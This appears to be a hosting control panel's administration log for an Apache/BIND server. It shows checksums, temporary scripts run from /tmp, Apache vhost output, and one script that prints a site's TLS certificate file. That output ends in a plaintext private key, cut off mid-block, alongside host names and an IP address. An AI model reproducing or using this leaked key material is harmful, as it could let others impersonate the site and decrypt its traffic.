MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d




STDERR:
PHP Warning:  PHP Startup: xapian: Unable to initialize module
Module compiled with module API=20210902
PHP    compiled with module API=20220829
These options need to match
 in Unknown on line 0


2026-04-06 12:10:05: 

PUT: /tmp/pkp149610

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-04-06 12:10:06: 

chmod 755 /tmp/pkp149610; /tmp/pkp149610; rm /tmp/pkp149610

2026-04-06 12:10:07: 


[Mon Apr 06 12:10:07.102451 2026] [so:warn] [pid 15586:tid 139906643953984] AH01574: module status_module is already loaded, skipping
VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server messier.hostz.org (/etc/httpd/conf.d/hostz_messier.conf:1)
         port 80 namevhost messier.hostz.org (/etc/httpd/conf.d/hostz_messier.conf:1)
         port 80 namevhost repo.hostz.org (/etc/httpd/conf.d/hostz_repo_org.conf:2)
         port 80 namevhost voip.patientapps.net (/etc/httpd/conf.d/patientapps.conf:1)
         port 80 namevhost zoomchat.net (/etc/httpd/conf.d/zoomchat_www_net.conf:2)
         port 80 namevhost zoomchat.online (/etc/httpd/conf.d/zoomchat_www_online.conf:2)
                 alias www.zoomchat.online
*:443                  is a NameVirtualHost
         default server messier.hostz.org (/etc/httpd/conf.d/hostz_messier.conf:26)
         port 443 namevhost messier.hostz.org (/etc/httpd/conf.d/hostz_messier.conf:26)
         port 443 namevhost repo.hostz.org (/etc/httpd/conf.d/hostz_repo_org.conf:29)
         port 443 namevhost messier.pjy.us (/etc/httpd/conf.d/ssl.conf:40)
         port 443 namevhost zoomchat.net (/etc/httpd/conf.d/zoomchat_www_net.conf:31)
         port 443 namevhost zoomchat.online (/etc/httpd/conf.d/zoomchat_www_online.conf:30)
                 alias www.zoomchat.online
ServerRoot: "/etc/httpd"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/etc/httpd/logs/error_log"
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex authdigest-client: using_defaults
Mutex lua-ivm-shm: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex authn-socache: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/etc/httpd/run/" mechanism=default 
Mutex cache-socache: using_defaults
Mutex authdigest-opaque: using_defaults
Mutex watchdog-callback: using_defaults
Mutex proxy-balancer-shm: using_defaults
PidFile: "/etc/httpd/run/httpd.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="asterisk" id=1000
Group: name="asterisk" id=1000
.




STDERR:
[Mon Apr 06 12:10:07.102451 2026] [so:warn] [pid 15586:tid 139906643953984] AH01574: module status_module is already loaded, skipping


2026-04-06 12:10:07: 

PUT: /tmp/pkp984274

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/httpd/conf.d/hostz_messier.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-04-06 12:10:07: 

chmod 755 /tmp/pkp984274; /tmp/pkp984274; rm /tmp/pkp984274

2026-04-06 12:10:08: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/httpd/conf.d/hostz_messier.conf	1528
<VirtualHost *:80>
    ServerName	messier.hostz.org
    DocumentRoot	/var/www/hostz_messier
    
    #
# The following lines prevent .htaccess and .htpasswd files from being
# viewed by Web clients.
#
    <Files ".ht*">
        Require	all denied
    </Files>
    
    ErrorLog	"logs/messier_error_log"
    
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    DirectoryIndex	index.html index.htm index.py index.php
    
    <Location /server-status>
        SetHandler	server-status
        Require	ip 173.48.93.56
    </Location>
    
</VirtualHost>

<VirtualHost *:443>
    ServerName	messier.hostz.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/pki/tls/certs//7933e54b4869b54869c55f49aa21a2a8.crt
    DocumentRoot	/var/www/hostz_messier
    <Directory /var/www/hostz_messier>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Require	all granted
        <Files "index.html">
            FileETag	None
            Header	unset ETag
            Header set Cache-Control	"max-age=0, no-cache, no-store, must-revalidate"
            Header set Pragma	"no-cache"
            Header set Expires	"Wed, 11 Jan 1984 05:00:00 GMT"
        </Files>
        
    </Directory>
    
    CustomLog	/var/log/httpd/hostz/messier_secure_access.log combined
    ErrorLog	/var/log/httpd/hostz/messier_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-04-06 12:10:08: 

PUT: /tmp/pkp688756

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/pki/tls/certs//7933e54b4869b54869c55f49aa21a2a8.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-04-06 12:10:08: 

chmod 755 /tmp/pkp688756; /tmp/pkp688756; rm /tmp/pkp688756

2026-04-06 12:10:08: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/pki/tls/certs//7933e54b4869b54869c55f49aa21a2a8.crt	5349
c0:8d:70:40:4a:a7:8f:3d:a5:d3:9a:13:78:00:94:5e

-----BEGIN CERTIFICATE-----
MIIE+zCCA+OgAwIBAgISBVGpubMgMChwJy1Smk/BiWqkMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjYwNDA2MTExMTI1WhcNMjYwNzA1MTExMTI0WjAcMRowGAYDVQQD
ExFtZXNzaWVyLmhvc3R6Lm9yZzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoC
ggEBAKlgWQARQpR1FhQtbLvZfxekOHZ+rOvUOs4Bn8Xp8N2YAXGmV7mkv+nfQNYl
mnsQUHFtpWdGz1r1uViOGYJc/YWhQD3sUAhhgIrK8J3CYN7WgOJ3ujPnx299fJrw
MUH5n0/cPx+GN0vFOncjh7KtKsB6fqE843dxtxJiuFhQBW5bHM5F2q6VJBM9NrqZ
R7cREoBw8pvBUxjy6d3Lm5lpDkFPLAH4PkFAV1bta/ngUZ7X6lldXUlTA5OdtTX5
LKLtiUb7MUz9wauxmOy/iF7z5bzBVMGR/rBiGAN3jSCKfcjTdo9xvcZl//MnuWdN
fAKCk6ZploUeyBVRKZs3S20W1NcCAwEAAaOCAh4wggIaMA4GA1UdDwEB/wQEAwIF
oDATBgNVHSUEDDAKBggrBgEFBQcDATAMBgNVHRMBAf8EAjAAMB0GA1UdDgQWBBQ0
xIzyp/XdZ5OC/1YuH9lO6J6ysjAfBgNVHSMEGDAWgBQAtSnyLY5vMeibTK14Pvrc
6QzR0jAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6Ly9yMTIuaS5s
ZW5jci5vcmcvMBwGA1UdEQQVMBOCEW1lc3NpZXIuaG9zdHoub3JnMBMGA1UdIAQM
MAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6Ly9yMTIuYy5sZW5j
ci5vcmcvMzcuY3JsMIIBCwYKKwYBBAHWeQIEAgSB/ASB+QD3AHYAlE5Dh/rswe+B
8xkkJqgYZQHH0184AgE/cmd9VTcuGdgAAAGdYrMSXgAABAMARzBFAiB/PHU3+56f
49L+usCyvCjCg6VFL8NIQBvccIdspaGgoAIhALdXUW0t1TZse0Qw7RA5SuvgnfI/
SA8IzqV9WxI7U7lJAH0AqCbL4wrGNRJGUz/gZfFPGdluGQgTxB3ZbXkAsxI8VScA
AAGdYrMUEgAIAAAFAAXRMzAEAwBGMEQCICqRf5/Sp2oIWwsPDRiPxO4z6aeUMAwr
Qy1xOS0Yqpe0AiAlrdSUxRUZzoxAo8JzUckP62a7gSjLL5tuo9jJ4T/AODANBgkq
hkiG9w0BAQsFAAOCAQEAnneGTNzsY3R6Non8k4hsEc/THu7Yvh8ed33FVDq0LOsK
zqzA3w//q0c46XUdTHJUdokHoEXx7ZDAcykqEMBkhiBZviQsJ7NoAiq+lQk4EYsM
zhWbDI5/kQnGJe63sPiFc2wAgsayChCjINJai05OI57q0lUgaTk/qUnEZJ/uW8qD
nTmD93b55Q37KRKeZ6DmpLBdcK3PoLk5iT4nqGCmXzVXRSlFzEGCbDPMSQmQBzIB
ZhP3yVFYN6+bGfBSW1LTzB8hy04Uzqrh9LI/6/9F15GhyVvfyt17TvoQjuA8FqCP
xtajES4hRmd8+/wm6WDIZdVfrh91/IpdYNhwJbOF4g==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCpYFkAEUKUdRYU
LWy72X8XpDh2fqzr1DrOAZ/F6fDdmAFxple5pL/p30DWJZp7EFBxbaVnRs9a9blY
jhmCXP2FoUA97FAIYYCKyvCdwmDe1oDid7oz58dvfXya8DFB+Z9P3D8fhjdLxTp3
I4eyrSrAen6hPON3cbcSYrhYUAVuWxzORdqulSQTPTa6mUe3ERKAcPKbwVMY8und
y5uZaQ5BTywB+D5BQFdW7Wv54FGe1+pZXV1JUwOTnbU1+Syi7YlG+zFM/cGrsZjs
v4he8+W8wVTBkf6wYhgDd40gin3I03aPcb3GZf/zJ7lnTXwCgpOmaZaFHsgVUSmb
N0ttFtTXAgMBAAECggEAITloi+ZW2Jc1GwUkEJ8j2ofYmYnUsrfhRxqzdBelK1qP
YfM+vwgtqxsjdT5QFLbJCM74xI7zysRrtI6/Oz6xbl6IovzxYAt8Mv2HAHMqHFwY
URQqPtdG3DxRznSyPN5R3VD3QuBJhX/tLYSXMDneqn38y/UNK5dvUVhzD8O2pQRB
I2TR7LHb65XwZvuBdHeyeU65bM5AwDJ6ezMwEty6xjiEucaH9GVGzdayHddlDTvO
XKGoJvyNM6X32sF4mnAZaUxjYwX7iTXhJ94L7J8ppguawztww2noMqG6BrdKxBJY
Etvia/yG0flq+PU8MrMxXb0NQWbRfcz2C9YhhJR3uQKBgQDpXeA+wkubMzSsH0oh
qpeNKl9jKeXuM8zz4fC4llaSdNi4lYH0pI87bp0YYMVI4z2mib+sJ4qgpIZkj+KB
rz1faEfTU+igKUzcoJoH6HmAzQX4TBVxtZB+AJjIG3nkuaoQGrjQpbeXDn/FImoq
mXcuJOYdl37R1/MERjzEA8Cu+QKBgQC5zbF2u+QzpVIc2Bt+bRKjWx9qZRGjRo+y
5q72NTBXZcMcC/IGw23i8TH9LpjhbkA2o60W6GXCpRvEA5tGjxw1RcSMg1DXP1sZ
mRQw54a0m1pJMhrI4ghm2i2ayLhZ03z+ro1t5FV/xiI3EmmkeLLmHp+9bBM5Z/bJ
e/dOS38GTwKBgQC0DN3rDfVPdR56flmvx/LN05ds5vKj6guDTxtvD28T6Fsdbxyp
KB3qeNlz6ZXNOqZiS3060fc/IjEefXUBIbd0WPyxq9ebWsIWp0KwP0kfew/UFr+k
z7T/wm4eVjShqC3x5uwY7wLK5UDnVDodS/KMA6QXyL7sIHU7IwXXJh4P4QKBgCAZ
UwFKMIBjnS3yf711pnSmN2UwFL36YLTteWh7g+B1aiGcRrG4bXF5bcNpm2vGmj1W
RX7ho0LfN07DuL2V16+0X+JOhVbKUTi4424XcYQeGpjumQX/Vqg+JQbKil6qVLvC
+Bf2DHdIiXyuJ6YMXAu5Wqtk0mVmepIQYocaL9WtAoGAL2D4NJfUN/9yxkCmlvJ8
8P0X42pC9yjLkEbPe1SEjDZVTdk5JIqDug0Fo4kKlrBDpHvpAIX57STy7YsnCMwB
